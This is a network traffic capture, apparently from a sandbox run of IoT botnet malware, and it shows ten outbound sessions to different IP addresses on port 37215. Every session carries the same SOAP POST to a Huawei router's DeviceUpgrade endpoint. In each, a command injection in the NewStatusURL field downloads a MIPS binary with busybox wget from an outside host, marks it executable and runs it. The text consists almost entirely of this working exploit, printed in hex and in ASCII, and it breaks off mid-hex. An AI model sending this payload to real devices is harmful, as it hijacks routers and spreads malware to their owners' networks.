Dec 3, 2024 23:01:52.802596092 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	49474	156.114.247.128	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802690983 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	59700	41.9.223.148	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802762985 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	39254	197.122.183.130	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802834988 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	38762	41.8.68.180	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802937031 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	57020	156.61.209.114	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802994013 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	41374	41.186.242.231	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803092957 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	39612	197.17.133.49	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803184986 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	54428	41.153.210.0	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803258896 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	45280	156.76.37.56	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803396940 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	43080	41.235.143.156	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803456068 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 